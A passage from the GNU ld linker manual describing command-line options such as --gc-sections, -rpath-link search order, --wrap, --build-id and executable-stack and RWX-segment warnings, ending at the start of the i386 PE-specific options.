This option affects the treatment of dynamic libraries referred to by DT_NEEDED tags inside ELF dynamic libraries mentioned on the command line. Normally the linker won’t add a DT_NEEDED tag to the output binary for each library mentioned in a DT_NEEDED tag in an input dynamic library. With –copy-dt-needed-entries specified on the command line however any dynamic libraries that follow it will have their DT_NEEDED entries added. The default behaviour can be restored with –no-copy-dt-needed-entries. This option also has an effect on the resolution of symbols in dynamic libraries. With –copy-dt-needed-entries dynamic libraries mentioned on the command line will be recursively searched, following their DT_NEEDED tags to other libraries, in order to resolve symbols required by the output binary. With the default setting however the searching of dynamic libraries that follow it will stop with the dynamic library itself. No DT_NEEDED links will be traversed to resolve symbols.

–cref
Output a cross reference table. If a linker map file is being generated, the cross reference table is printed to the map file. Otherwise, it is printed on the standard output. The format of the table is intentionally simple, so that it may be easily processed by a script if necessary. The symbols are printed out, sorted by name. For each symbol, a list of file names is given. If the symbol is defined, the first file listed is the location of the definition. If the symbol is defined as a common value then any files where this happens appear next. Finally any files that reference the symbol are listed.

–ctf-variables

–no-ctf-variables

The CTF debuginfo format supports a section which encodes the names and types of variables found in the program which do not appear in any symbol table. These variables clearly cannot be looked up by address by conventional debuggers, so the space used for their types and names is usually wasted: the types are usually small but the names are often not. –ctf-variables causes the generation of such a section. The default behaviour can be restored with –no-ctf-variables.

–ctf-share-types=method
Adjust the method used to share types between translation units in CTF.

share-unconflicted
Put all types that do not have ambiguous definitions into the shared dictionary, where debuggers can easily access them, even if they only occur in one translation unit. This is the default.

share-duplicated
Put only types that occur in multiple translation units into the shared dictionary: types with only one definition go into per-translation-unit dictionaries. Types with ambiguous definitions in multiple translation units always go into per-translation-unit dictionaries. This tends to make the CTF larger, but may reduce the amount of CTF in the shared dictionary. For very large projects this may speed up opening the CTF and save memory in the CTF consumer at runtime.

–no-define-common
This option inhibits the assignment of addresses to common symbols. The script command INHIBIT_COMMON_ALLOCATION has the same effect. The –no-define-common option allows decoupling the decision to assign addresses to Common symbols from the choice of the output file type; otherwise a non-Relocatable output type forces assigning addresses to Common symbols. Using –no-define-common allows Common symbols that are referenced from a shared library to be assigned addresses only in the main program. This eliminates the unused duplicate space in the shared library, and also prevents any possible confusion over resolving to the wrong duplicate when there are many dynamic modules with specialized search paths for runtime symbol resolution.

–force-group-allocation
This option causes the linker to place section group members like normal input sections, and to delete the section groups. This is the default behaviour for a final link but this option can be used to change the behaviour of a relocatable link (-r). The script command FORCE_GROUP_ALLOCATION has the same effect.

–defsym=symbol=expression
Create a global symbol in the output file, containing the absolute address given by expression. You may use this option as many times as necessary to define multiple symbols in the command line. A limited form of arithmetic is supported for the expression in this context: you may give a hexadecimal constant or the name of an existing symbol, or use + and - to add or subtract hexadecimal constants or symbols. If you need more elaborate expressions, consider using the linker command language from a script. Note: there should be no white space between symbol, the equals sign ("="), and expression. The linker processes –defsym arguments and -T arguments in order, placing –defsym before -T will define the symbol before the linker script from -T is processed, while placing –defsym after -T will define the symbol after the linker script has been processed. This difference has consequences for expressions within the linker script that use the –defsym symbols, which order is correct will depend on what you are trying to achieve.

–demangle[=style]

–no-demangle

These options control whether to demangle symbol names in error messages and other output. When the linker is told to demangle, it tries to present symbol names in a readable fashion: it strips leading underscores if they are used by the object file format, and converts C++ mangled symbol names into user readable names. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler. The linker will demangle by default unless the environment variable COLLECT_NO_DEMANGLE is set. These options may be used to override the default.

-Ifile

–dynamic-linker=file

Set the name of the dynamic linker. This is only meaningful when generating dynamically linked ELF executables. The default dynamic linker is normally correct; don’t use this unless you know what you are doing.

–no-dynamic-linker
When producing an executable file, omit the request for a dynamic linker to be used at load-time. This is only meaningful for ELF executables that contain dynamic relocations, and usually requires entry point code that is capable of processing these relocations.

–embedded-relocs
This option is similar to the –emit-relocs option except that the relocs are stored in a target-specific section. This option is only supported by the BFIN, CR16 and M68K targets.

–disable-multiple-abs-defs
Do not allow multiple definitions with symbols included in filename invoked by -R or –just-symbols

–fatal-warnings

–no-fatal-warnings

Treat all warnings as errors. The default behaviour can be restored with the option –no-fatal-warnings.

-w

–no-warnings

Do not display any warning or error messages. This overrides –fatal-warnings if it has been enabled. This option can be used when it is known that the output binary will not work, but there is still a need to create it.

–force-exe-suffix
Make sure that an output file has a .exe suffix. If a successfully built fully linked output file does not have a .exe or .dll suffix, this option forces the linker to copy the output file to one of the same name with a .exe suffix. This option is useful when using unmodified Unix makefiles on a Microsoft Windows host, since some versions of Windows won’t run an image unless it ends in a .exe suffix.

–gc-sections

–no-gc-sections

Enable garbage collection of unused input sections. It is ignored on targets that do not support this option. The default behaviour (of not performing this garbage collection) can be restored by specifying –no-gc-sections on the command line. Note that garbage collection for COFF and PE format targets is supported, but the implementation is currently considered to be experimental. –gc-sections decides which input sections are used by examining symbols and relocations. The section containing the entry symbol and all sections containing symbols undefined on the command-line will be kept, as will sections containing symbols referenced by dynamic objects. Note that when building shared libraries, the linker must assume that any visible symbol is referenced. Once this initial set of sections has been determined, the linker recursively marks as used any section referenced by their relocations. See –entry, –undefined, and –gc-keep-exported. This option can be set when doing a partial link (enabled with option -r). In this case the root of symbols kept must be explicitly specified either by one of the options –entry, –undefined, or –gc-keep-exported or by a ENTRY command in the linker script. As a GNU extension, ELF input sections marked with the SHF_GNU_RETAIN flag will not be garbage collected.

–print-gc-sections

–no-print-gc-sections

List all sections removed by garbage collection. The listing is printed on stderr. This option is only effective if garbage collection has been enabled via the –gc-sections) option. The default behaviour (of not listing the sections that are removed) can be restored by specifying –no-print-gc-sections on the command line.

–gc-keep-exported
When –gc-sections is enabled, this option prevents garbage collection of unused input sections that contain global symbols having default or protected visibility. This option is intended to be used for executables where unreferenced sections would otherwise be garbage collected regardless of the external visibility of contained symbols. Note that this option has no effect when linking shared objects since it is already the default behaviour. This option is only supported for ELF format targets.

–print-output-format
Print the name of the default output format (perhaps influenced by other command-line options). This is the string that would appear in an OUTPUT_FORMAT linker script command.

–print-memory-usage
Print used size, total size and used size of memory regions created with the MEMORY command. This is useful on embedded targets to have a quick view of amount of free memory. The format of the output has one headline and one line per region. It is both human readable and easily parsable by tools. Here is an example of an output: Memory region Used Size Region Size %age Used ROM: 256 KB 1 MB 25.00% RAM: 32 B 2 GB 0.00%

–help
Print a summary of the command-line options on the standard output and exit.

–target-help
Print a summary of all target-specific options on the standard output and exit.

-Map=mapfile
Print a link map to the file mapfile. See the description of the -M option, above. If mapfile is just the character - then the map will be written to stdout. Specifying a directory as mapfile causes the linker map to be written as a file inside the directory. Normally name of the file inside the directory is computed as the basename of the output file with .map appended. If however the special character % is used then this will be replaced by the full path of the output file. Additionally if there are any characters after the % symbol then .map will no longer be appended. -o foo.exe -Map=bar [Creates ./bar] -o ../dir/foo.exe -Map=bar [Creates ./bar] -o foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o ../dir2/foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o foo.exe -Map=% [Creates ./foo.exe.map] -o ../dir/foo.exe -Map=% [Creates ../dir/foo.exe.map] -o foo.exe -Map=%.bar [Creates ./foo.exe.bar] -o ../dir/foo.exe -Map=%.bar [Creates ../dir/foo.exe.bar] -o ../dir2/foo.exe -Map=../dir/% [Creates ../dir/../dir2/foo.exe.map] -o ../dir2/foo.exe -Map=../dir/%.bar [Creates ../dir/../dir2/foo.exe.bar] It is an error to specify more than one % character. If the map file already exists then it will be overwritten by this operation.

–no-keep-memory
ld normally optimizes for speed over memory usage by caching the symbol tables of input files in memory. This option tells ld to instead optimize for memory usage, by rereading the symbol tables as necessary. This may be required if ld runs out of memory space while linking a large executable.

–no-undefined

-z defs

Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. The switch –[no-]allow-shlib-undefined controls the behaviour for reporting unresolved references found in shared libraries being linked in. The effects of this option can be reverted by using -z undefs.

–allow-multiple-definition

-z muldefs

Normally when a symbol is defined multiple times, the linker will report a fatal error. These options allow multiple definitions and the first definition will be used.

–allow-shlib-undefined

–no-allow-shlib-undefined

Allows or disallows undefined symbols in shared libraries. This switch is similar to –no-undefined except that it determines the behaviour when the undefined symbols are in a shared library rather than a regular object file. It does not affect how undefined symbols in regular object files are handled. The default behaviour is to report errors for any undefined symbols referenced in shared libraries if the linker is being used to create an executable, but to allow them if the linker is being used to create a shared library. The reasons for allowing undefined symbol references in shared libraries specified at link time are that:

  • A shared library specified at link time may not be the same as the one that is available at load time, so the symbol might actually be resolvable at load time.

  • There are some operating systems, eg BeOS and HPPA, where undefined symbols in shared libraries are normal. The BeOS kernel for example patches shared libraries at load time to select whichever function is most appropriate for the current architecture. This is used, for example, to dynamically select an appropriate memset function.

–error-handling-script=scriptname
If this option is provided then the linker will invoke scriptname whenever an error is encountered. Currently however only two kinds of error are supported: missing symbols and missing libraries. Two arguments will be passed to script: the keyword “undefined-symbol” or `missing-lib" and the name of the undefined symbol or missing library. The intention is that the script will provide suggestions to the user as to where the symbol or library might be found. After the script has finished then the normal linker error message will be displayed. The availability of this option is controlled by a configure time switch, so it may not be present in specific implementations.

–no-undefined-version
Normally when a symbol has an undefined version, the linker will ignore it. This option disallows symbols with undefined version and a fatal error will be issued instead.

–default-symver
Create and use a default symbol version (the soname) for unversioned exported symbols.

–default-imported-symver
Create and use a default symbol version (the soname) for unversioned imported symbols.

–no-warn-mismatch
Normally ld will give an error if you try to link together input files that are mismatched for some reason, perhaps because they have been compiled for different processors or for different endiannesses. This option tells ld that it should silently permit such possible errors. This option should only be used with care, in cases when you have taken some special action that ensures that the linker errors are inappropriate.

–no-warn-search-mismatch
Normally ld will give a warning if it finds an incompatible library during a library search. This option silences the warning.

–no-whole-archive
Turn off the effect of the –whole-archive option for subsequent archive files.

–noinhibit-exec
Retain the executable output file whenever it is still usable. Normally, the linker will not produce an output file if it encounters errors during the link process; it exits without writing an output file when it issues any error whatsoever.

-nostdlib
Only search library directories explicitly specified on the command line. Library directories specified in linker scripts (including linker scripts specified on the command line) are ignored.

–oformat=output-format
ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the –oformat option to specify the binary format for the output object file. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to produce as a default output format the most usual format on each machine. output-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) The script command OUTPUT_FORMAT can also specify the output format, but this option overrides it.

–out-implib file
Create an import library in file corresponding to the executable the linker is generating (eg. a DLL or ELF program). This import library (which should be called *.dll.a or *.a for DLLs) may be used to link clients against the generated executable; this behaviour makes it possible to skip a separate import library creation step (eg. dlltool for DLLs). This option is only available for the i386 PE and ELF targeted ports of the linker.

-pie

–pic-executable

Create a position independent executable. This is currently only supported on ELF platforms. Position independent executables are relocated by the dynamic linker to the virtual address the OS chooses for them, which can vary between invocations. They are marked ET_DYN in the ELF file header, but differ from shared libraries in a number of ways. In particular, defined symbols in a PIE by default can not be overridden by another object as they can be in a shared library.

-no-pie
Create a position dependent executable. This is the default.

-qmagic
This option is ignored for Linux compatibility.

-Qy
This option is ignored for SVR4 compatibility.

–relax

–no-relax

An option with machine dependent effects. This option is only supported on a few targets. On some platforms the –relax option performs target specific, global optimizations that become possible when the linker resolves addressing in the program, such as relaxing address modes, synthesizing new instructions, selecting shorter version of current instructions, and combining constant values. On some platforms these link time global optimizations may make symbolic debugging of the resulting executable impossible. This is known to be the case for the Matsushita MN10200 and MN10300 family of processors. On platforms where the feature is supported, the option –no-relax will disable it. On platforms where the feature is not supported, both –relax and –no-relax are accepted, but ignored.

–retain-symbols-file=filename
Retain only the symbols listed in the file filename, discarding all others. filename is simply a flat file, with one symbol name per line. This option is especially useful in environments (such as VxWorks) where a large global symbol table is accumulated gradually, to conserve run-time memory. –retain-symbols-file does not discard undefined symbols, or symbols needed for relocations. You may only specify –retain-symbols-file once in the command line. It overrides -s and -S.

-rpath=dir
Add a directory to the runtime library search path. This is used when linking an ELF executable with shared objects. All -rpath arguments are concatenated and passed to the runtime linker, which uses them to locate shared objects at runtime. The -rpath option is also used when locating shared objects which are needed by shared objects explicitly included in the link; see the description of the -rpath-link option. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option. If -rpath is not used when linking an ELF executable, the contents of the environment variable LD_RUN_PATH will be used if it is defined. The -rpath option may also be used on SunOS. By default, on SunOS, the linker will form a runtime search path out of all the -L options it is given. If a -rpath option is used, the runtime search path will be formed exclusively using the -rpath options, ignoring the -L options. This can be useful when using gcc, which adds many -L options which may be on NFS mounted file systems. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

-rpath-link=dir
When using ELF or SunOS, one shared library may require another. This happens when an ld -shared link includes a shared library as one of the input files. When the linker encounters such a dependency when doing a non-shared, non-relocatable link, it will automatically try to locate the required shared library and include it in the link, if it is not included explicitly. In such a case, several directories are searched as described below. The -rpath-link option specifies the first set of directories to search. This option may specify a sequence of directory names either by providing a list of names separated by colons, or by appearing multiple times. The tokens $ORIGIN and $LIB can appear in these search directories. They will be replaced by the full path to the directory containing the program or shared object in the case of $ORIGIN and either lib - for 32-bit binaries - or lib64 - for 64-bit binaries - in the case of $LIB. The alternative form of these tokens - ${ORIGIN} and ${LIB} can also be used. The token $PLATFORM is not supported. The –rpath-link option should be used with caution as it overrides the search path that may have been hard compiled into a shared library. In such a case it is possible to unintentionally use a different search path than the runtime linker would have used. When additional shared libraries are required, the linker will search directories in the order listed below in order to find them. Note however that this only applies to additional libraries needed to satisfy already included shared libraries. It does not apply to libraries that are included via the -l command line option. Searches for -l libraries are only conducted in directories specified by the -L option.

  1. Any directories specified by -rpath-link options.

  2. Any directories specified by -rpath options. The difference between -rpath and -rpath-link is that directories specified by -rpath options are included in the executable and used at runtime, whereas the -rpath-link option is only effective at link time. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option.

  3. On an ELF system, for native linkers, if the -rpath and -rpath-link options were not used, search the contents of the environment variable LD_RUN_PATH.

  4. On SunOS, if the -rpath option was not used, search any directories specified using -L options.

  5. For a native linker, search the contents of the environment variable LD_LIBRARY_PATH.

  6. For a native ELF linker, the directories in DT_RUNPATH or DT_RPATH of a shared library are searched for shared libraries needed by it. The DT_RPATH entries are ignored if DT_RUNPATH entries exist.

  7. For a linker for a Linux system, if the file /etc/ld.so.conf exists, the list of directories found in that file. Note: the path to this file is prefixed with the sysroot value, if that is defined, and then any prefix string if the linker was configured with the –prefix=<path> option.

  8. For a native linker on a FreeBSD system, any directories specified by the _PATH_ELF_HINTS macro defined in the elf-hints.h header file.

  9. Any directories specified by a SEARCH_DIR command in a linker script given on the command line, including scripts specified by -T (but not -dT).

  10. The default directories, normally /lib and /usr/lib.

  11. Any directories specified by a plugin LDPT_SET_EXTRA_LIBRARY_PATH.

  12. Any directories specified by a SEARCH_DIR command in a default linker script.

Note however on Linux based systems there is an additional caveat: If the –as-needed option is active and a shared library is located which would normally satisfy the search and this library does not have DT_NEEDED tag for libc.so and there is a shared library later on in the set of search directories which also satisfies the search and this second shared library does have a DT_NEEDED tag for libc.so then the second library will be selected instead of the first. If the required shared library is not found, the linker will issue a warning and continue with the link.

–section-ordering-file=script
This option is used to augment the current linker script with additional mapping of input sections to output sections. This file must use the same syntax for SECTIONS as is used in normal linker scripts, but it should not do anything other than place input sections into output sections. @pxref{SECTIONS} A second constraint on the section ordering script is that it can only reference output sections that are already defined by whichever linker script is currently in use. (Ie the default linker script or a script specified on the command line). The benefit of the section ordering script however is that the input sections are mapped to the start of the output sections, so that they can ensure the ordering of sections in the output section. For example, imagine that the default linker script looks like this: SECTIONS { .text : { *(.text.hot) ; *(.text .text.*) } .data : { *(.data.big) ; *(.data .data.*) } } Then if a section ordering file like this is used: .text : { *(.text.first) ; *(.text.z*) } .data : { foo.o(.data.first) ; *(.data.small) } This would be equivalent to a linker script like this: SECTIONS { .text : { *(.text.first) ; *(.text.z*) ; *(.text.hot) ; *(.text .text.*) } .data : { foo.o(.data.first) ; *(.data.small) ; *(.data.big) ; *(.data .data.*) } } The advantage of the section ordering file is that it can be used to order those sections that matter to the user without having to worry about any other sections, or memory regions, or anything else.

-shared

-Bshareable

Create a shared library. This is currently only supported on ELF, XCOFF and SunOS platforms. On SunOS, the linker will automatically create a shared library if the -e option is not used and there are undefined symbols in the link.

–sort-common

–sort-common=ascending

–sort-common=descending

This option tells ld to sort the common symbols by alignment in ascending or descending order when it places them in the appropriate output sections. The symbol alignments considered are sixteen-byte or larger, eight-byte, four-byte, two-byte, and one-byte. This is to prevent gaps between symbols due to alignment constraints. If no sorting order is specified, then descending order is assumed.

–sort-section=name
This option will apply SORT_BY_NAME to all wildcard section patterns in the linker script.

–sort-section=alignment
This option will apply SORT_BY_ALIGNMENT to all wildcard section patterns in the linker script.

–spare-dynamic-tags=count
This option specifies the number of empty slots to leave in the .dynamic section of ELF shared objects. Empty slots may be needed by post processing tools, such as the prelinker. The default is 5.

–split-by-file[=size]
Similar to –split-by-reloc but creates a new output section for each input file when size is reached. size defaults to a size of 1 if not given.

–split-by-reloc[=count]
Tries to creates extra sections in the output file so that no single output section in the file contains more than count relocations. This is useful when generating huge relocatable files for downloading into certain real time kernels with the COFF object file format; since COFF cannot represent more than 65535 relocations in a single section. Note that this will fail to work with object file formats which do not support arbitrary sections. The linker will not split up individual input sections for redistribution, so if a single input section contains more than count relocations one output section will contain that many relocations. count defaults to a value of 32768.

–stats
Compute and display statistics about the operation of the linker, such as execution time and memory usage.

–sysroot=directory
Use directory as the location of the sysroot, overriding the configure-time default. This option is only supported by linkers that were configured using –with-sysroot.

–task-link
This is used by COFF/PE based targets to create a task-linked object file where all of the global symbols have been converted to statics.

–traditional-format
For some targets, the output of ld is different in some ways from the output of some existing linker. This switch requests ld to use the traditional format instead. For example, on SunOS, ld combines duplicate entries in the symbol string table. This can reduce the size of an output file with full debugging information by over 30 percent. Unfortunately, the SunOS dbx program can not read the resulting program (gdb has no trouble). The –traditional-format switch tells ld to not combine duplicate entries.

–section-start=sectionname=org
Locate a section in the output file at the absolute address given by org. You may use this option as many times as necessary to locate multiple sections in the command line. org must be a single hexadecimal integer; for compatibility with other linkers, you may omit the leading 0x usually associated with hexadecimal values. Note: there should be no white space between sectionname, the equals sign ("="), and org.

-Tbss=org

-Tdata=org

-Ttext=org

Same as –section-start, with .bss, .data or .text as the sectionname.

-Ttext-segment=org
When creating an ELF executable, it will set the address of the first byte of the text segment. Note that when -pie is used with **-Ttext-segment=**org, the output executable is marked ET_EXEC so that the address of the first byte of the text segment will be guaranteed to be org at run time.

-Trodata-segment=org
When creating an ELF executable or shared object for a target where the read-only data is in its own segment separate from the executable text, it will set the address of the first byte of the read-only data segment.

-Tldata-segment=org
When creating an ELF executable or shared object for x86-64 medium memory model, it will set the address of the first byte of the ldata segment.

–unresolved-symbols=method
Determine how to handle unresolved symbols. There are four possible values for method:

ignore-all
Do not report any unresolved symbols.

report-all
Report all unresolved symbols. This is the default.

ignore-in-object-files
Report unresolved symbols that are contained in shared libraries, but ignore them if they come from regular object files.

ignore-in-shared-libs
Report unresolved symbols that come from regular object files, but ignore them if they come from shared libraries. This can be useful when creating a dynamic binary and it is known that all the shared libraries that it should be referencing are included on the linker’s command line.

The behaviour for shared libraries on their own can also be controlled by the –[no-]allow-shlib-undefined option. Normally the linker will generate an error message for each reported unresolved symbol but the option –warn-unresolved-symbols can change this to a warning.

–dll-verbose

–verbose[=NUMBER]

Display the version number for ld and list the linker emulations supported. Display which input files can and cannot be opened. Display the linker script being used by the linker. If the optional NUMBER argument > 1, plugin symbol status will also be displayed.

–version-script=version-scriptfile
Specify the name of a version script to the linker. This is typically used when creating shared libraries to specify additional information about the version hierarchy for the library being created. This option is only fully supported on ELF platforms which support shared libraries; see VERSION. It is partially supported on PE platforms, which can use version scripts to filter symbol visibility in auto-export mode: any symbols marked local in the version script will not be exported.

–warn-common
Warn when a common symbol is combined with another common symbol or with a symbol definition. Unix linkers allow this somewhat sloppy practice, but linkers on some other operating systems do not. This option allows you to find potential problems from combining global symbols. Unfortunately, some C libraries use this practice, so you may get some warnings about symbols in the libraries as well as in your programs. There are three kinds of global symbols, illustrated here by C examples:

int i = 1;
A definition, which goes in the initialized data section of the output file.

extern int i;
An undefined reference, which does not allocate space. There must be either a definition or a common symbol for the variable somewhere.

int i;
A common symbol. If there are only (one or more) common symbols for a variable, it goes in the uninitialized data area of the output file. The linker merges multiple common symbols for the same variable into a single symbol. If they are of different sizes, it picks the largest size. The linker turns a common symbol into a declaration, if there is a definition of the same variable.

The –warn-common option can produce five kinds of warnings. Each warning consists of a pair of lines: the first describes the symbol just encountered, and the second describes the previous symbol encountered with the same name. One or both of the two symbols will be a common symbol.

  1. Turning a common symbol into a reference, because there is already a definition for the symbol. <file>(<section>): warning: common of `<symbol> overridden by definition <file>(<section>): warning: defined here

  2. Turning a common symbol into a reference, because a later definition for the symbol is encountered. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: definition of `<symbol> overriding common <file>(<section>): warning: common is here

  3. Merging a common symbol with a previous same-sized common symbol. <file>(<section>): warning: multiple common of `<symbol> <file>(<section>): warning: previous common is here

  4. Merging a common symbol with a previous larger common symbol. <file>(<section>): warning: common of `<symbol> overridden by larger common <file>(<section>): warning: larger common is here

  5. Merging a common symbol with a previous smaller common symbol. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: common of `<symbol> overriding smaller common <file>(<section>): warning: smaller common is here

–warn-constructors
Warn if any global constructors are used. This is only useful for a few object file formats. For formats like COFF or ELF, the linker can not detect the use of global constructors.

–warn-execstack

–warn-execstack-objects

–no-warn-execstack

On ELF platforms the linker may generate warning messages if it is asked to create an output file that contains an executable stack. There are three possible states:

  1. Do not generate any warnings.

  2. Always generate warnings, even if the executable stack is requested via the -z execstack command line option.

  3. Only generate a warning if an object file requests an executable stack, but not if the -z execstack option is used.

The default state depends upon how the linker was configured when it was built. The –no-warn-execstack option always puts the linker into the no-warnings state. The –warn-execstack option puts the linker into the warn-always state. The –warn-execstack-objects option puts the linker into the warn-for-object-files-only state. Note: ELF format input files can specify that they need an executable stack by having a .note.GNU-stack section with the executable bit set in its section flags. They can specify that they do not need an executable stack by having the same section, but without the executable flag bit set. If an input file does not have a .note.GNU-stack section then the default behaviour is target specific. For some targets, then absence of such a section implies that an executable stack is required. This is often a problem for hand crafted assembler files.

–error-execstack

–no-error-execstack

If the linker is going to generate a warning message about an executable stack then the –error-execstack option will instead change that warning into an error. Note - this option does not change the linker’s execstack warning generation state. Use –warn-execstack or –warn-execstack-objects to set a specific warning state. The –no-error-execstack option will restore the default behaviour of generating warning messages.

–warn-multiple-gp
Warn if multiple global pointer values are required in the output file. This is only meaningful for certain processors, such as the Alpha. Specifically, some processors put large-valued constants in a special section. A special register (the global pointer) points into the middle of this section, so that constants can be loaded efficiently via a base-register relative addressing mode. Since the offset in base-register relative mode is fixed and relatively small (e.g., 16 bits), this limits the maximum size of the constant pool. Thus, in large programs, it is often necessary to use multiple global pointer values in order to be able to address all possible constants. This option causes a warning to be issued whenever this case occurs.

–warn-once
Only warn once for each undefined symbol, rather than once per module which refers to it.

–warn-rwx-segments

–no-warn-rwx-segments

Warn if the linker creates a loadable, non-zero sized segment that has all three of the read, write and execute permission flags set. Such a segment represents a potential security vulnerability. In addition warnings will be generated if a thread local storage segment is created with the execute permission flag set, regardless of whether or not it has the read and/or write flags set. These warnings are enabled by default. They can be disabled via the –no-warn-rwx-segments option and re-enabled via the –warn-rwx-segments option.

–error-rwx-segments

–no-error-rwx-segments

If the linker is going to generate a warning message about an executable, writeable segment, or an executable TLS segment, then the –error-rwx-segments option will turn this warning into an error instead. The –no-error-rwx-segments option will restore the default behaviour of just generating a warning message. Note - the –error-rwx-segments option does not by itself turn on warnings about these segments. These warnings are either enabled by default, if the linker was configured that way, or via the –warn-rwx-segments command line option.

–warn-section-align
Warn if the address of an output section is changed because of alignment. Typically, the alignment will be set by an input section. The address will only be changed if it not explicitly specified; that is, if the SECTIONS command does not specify a start address for the section.

–warn-textrel
Warn if the linker adds DT_TEXTREL to a position-independent executable or shared object.

–warn-alternate-em
Warn if an object has alternate ELF machine code.

–warn-unresolved-symbols
If the linker is going to report an unresolved symbol (see the option –unresolved-symbols) it will normally generate an error. This option makes it generate a warning instead.

–error-unresolved-symbols
This restores the linker’s default behaviour of generating errors when it is reporting unresolved symbols.

–whole-archive
For each archive mentioned on the command line after the –whole-archive option, include every object file in the archive in the link, rather than searching the archive for the required object files. This is normally used to turn an archive file into a shared library, forcing every object to be included in the resulting shared library. This option may be used more than once. Two notes when using this option from gcc: First, gcc doesn’t know about this option, so you have to use -Wl,-whole-archive. Second, don’t forget to use -Wl,-no-whole-archive after your list of archives, because gcc will add its own list of archives to your link and you may not want this flag to affect those as well.

–wrap=symbol
Use a wrapper function for symbol. Any undefined reference to symbol will be resolved to _ _wrap_symbol. Any undefined reference to _ _real_symbol will be resolved to symbol. This can be used to provide a wrapper for a system function. The wrapper function should be called _ _wrap_symbol. If it wishes to call the system function, it should call _ _real_symbol. Here is a trivial example: void * _ _wrap_malloc (size_t c) { printf (“malloc called with %zu “, c); return _ _real_malloc (c); } If you link other code with this file using –wrap malloc, then all calls to malloc will call the function _ _wrap_malloc instead. The call to _ _real_malloc in _ _wrap_malloc will call the real malloc function. You may wish to provide a _ _real_malloc function as well, so that links without the –wrap option will succeed. If you do this, you should not put the definition of _ _real_malloc in the same file as _ _wrap_malloc; if you do, the assembler may resolve the call before the linker has a chance to wrap it to malloc. Only undefined references are replaced by the linker. So, translation unit internal references to symbol are not resolved to _ _wrap_symbol. In the next example, the call to f in g is not resolved to _ _wrap_f. int f (void) { return 123; } int g (void) { return f(); }

–eh-frame-hdr

–no-eh-frame-hdr

Request (–eh-frame-hdr) or suppress (–no-eh-frame-hdr) the creation of .eh_frame_hdr section and ELF PT_GNU_EH_FRAME segment header.

–no-ld-generated-unwind-info
Request creation of .eh_frame unwind info for linker generated code sections like PLT. This option is on by default if linker generated unwind info is supported. This option also controls the generation of .sframe stack trace info for linker generated code sections like PLT.

–enable-new-dtags

–disable-new-dtags

This linker can create the new dynamic tags in ELF. But the older ELF systems may not understand them. If you specify –enable-new-dtags, the new dynamic tags will be created as needed and older dynamic tags will be omitted. If you specify –disable-new-dtags, no new dynamic tags will be created. By default, the new dynamic tags are not created. Note that those options are only available for ELF systems.

–hash-size=number
Set the default size of the linker’s hash tables to a prime number close to number. Increasing this value can reduce the length of time it takes the linker to perform its tasks, at the expense of increasing the linker’s memory requirements. Similarly reducing this value can reduce the memory requirements at the expense of speed.

–hash-style=style
Set the type of linker’s hash table(s). style can be either sysv for classic ELF .hash section, gnu for new style GNU .gnu.hash section or both for both the classic ELF .hash and new style GNU .gnu.hash hash tables. The default depends upon how the linker was configured, but for most Linux based systems it will be both.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

On ELF platforms, these options control how DWARF debug sections are compressed using zlib. –compress-debug-sections=none doesn’t compress DWARF debug sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections and renames them to begin with .zdebug instead of .debug. –compress-debug-sections=zlib-gabi also compresses DWARF debug sections, but rather than renaming them it sets the SHF_COMPRESSED flag in the sections’ headers. The –compress-debug-sections=zlib option is an alias for –compress-debug-sections=zlib-gabi. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note that this option overrides any compression in input debug sections, so if a binary is linked with –compress-debug-sections=none for example, then any compressed debug sections in input files will be uncompressed before they are copied into the output binary. The default compression behaviour varies depending upon the target involved and the configure options used to build the toolchain. The default can be determined by examining the output from the linker’s –help option.

–reduce-memory-overheads
This option reduces memory requirements at ld runtime, at the expense of linking speed. This was introduced to select the old O(n^2) algorithm for link map file generation, rather than the new O(n) algorithm which uses about 40% more memory for symbol storage. Another effect of the switch is to set the default hash table size to 1021, which again saves memory at the cost of lengthening the linker’s run time. This is not done however if the –hash-size switch has been used. The –reduce-memory-overheads switch may be also be used to enable other tradeoffs in future versions of the linker.

–max-cache-size=size
ld normally caches the relocation information and symbol tables of input files in memory with the unlimited size. This option sets the maximum cache size to size.

–build-id

–build-id=style

Request the creation of a .note.gnu.build-id ELF note section or a .buildid COFF section. The contents of the note are unique bits identifying this linked file. style can be uuid to use 128 random bits, sha1 to use a 160-bit SHA1 hash on the normative parts of the output contents, md5 to use a 128-bit MD5 hash on the normative parts of the output contents, or 0xhexstring to use a chosen bit string specified as an even number of hexadecimal digits (- and : characters between digit pairs are ignored). If style is omitted, sha1 is used. The md5 and sha1 styles produces an identifier that is always the same in an identical output file, but will be unique among all nonidentical output files. It is not intended to be compared as a checksum for the file’s contents. A linked file may be changed later by other tools, but the build ID bit string identifying the original linked file does not change. Passing none for style disables the setting from any --build-id options earlier on the command line.

–package-metadata=JSON
Request the creation of a .note.package ELF note section. The contents of the note are in JSON format, as per the package metadata specification. For more information see: https://systemd.io/ELF_PACKAGE_METADATA/ If the JSON argument is missing/empty then this will disable the creation of the metadata note, if one had been enabled by an earlier occurrence of the –package-metadata option. If the linker has been built with libjansson, then the JSON string will be validated.

The i386 PE linker supports the -shared option, which causes the output to be a dynamically linked library (DLL) instead of a normal executable. You should name the output *.dll when you use this option. In addition, the linker fully supports the standard *.def files, which may be specified on the linker command line like an object file (in fact, it should precede archives it exports symbols from, to ensure that they get linked in, just like a normal object file).

In addition to the options common to all targets, the i386 PE linker support additional command-line options that are specific to the i386 PE target. Options that take values may be separated from their values by either a space or an equals sign.

–add-stdcall-alias
If given, symbols with a stdcall suffix (@nn) will be exported as-is and also with the suffix stripped. [This option is specific to the i386 PE targeted port of the linker]

–base-file file
